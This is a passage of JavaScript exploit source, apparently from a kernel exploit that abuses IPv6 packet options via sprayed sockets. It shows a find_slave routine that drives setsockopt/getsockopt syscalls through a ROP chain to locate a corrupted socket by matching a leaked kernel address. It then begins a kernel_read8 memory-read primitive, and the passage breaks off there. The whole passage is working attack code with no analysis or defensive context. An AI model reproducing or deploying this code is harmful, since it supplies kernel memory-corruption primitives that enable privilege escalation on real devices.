| 622 | } |
| 623 | |
| 624 | function find_slave() { |
| 625 | { |
| 626 | chain.push_write8(pktinfo_buffer, leaked_pktopts_address.add32(PKTOPTS_PKTINFO_OFFSET)); |
| 627 | chain.push_write8(pktinfo_buffer.add32(0x8), 0); |
| 628 | chain.push_write8(pktinfo_buffer.add32(0x10), 0); |
| 629 | chain.fcall(syscalls[105], master_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, 0x14); |
| 630 | for (var i = 0; i < NUM_SLAVE_SOCKS; i++) { |
| 631 | chain.fcall(syscalls[118], slave_sockets[i], IPPROTO_IPV6, IPV6_PKTINFO, find_slave_buffer.add32(0x8 * i), pktinfo_buffer_len); |
| 632 | } |
| 633 | } |
| 634 | chain.run(); |
| 635 | |
| 636 | for (var i = 0; i < NUM_SLAVE_SOCKS; i++) { |
| 637 | if (p.read4(find_slave_buffer.add32(0x8 * i)) == (leaked_pktopts_address.add32(PKTOPTS_PKTINFO_OFFSET)).low) { |
| 638 | slave_socket = slave_sockets[i]; |
| 639 | return; |
| 640 | } |
| 641 | } |
| 642 | alert("[ERROR] failed to find slave REBOOT"); |
| 643 | while (1) {}; |
| 644 | } |
| 645 | |
| 646 | function kernel_read8(address) { |
| 647 | { |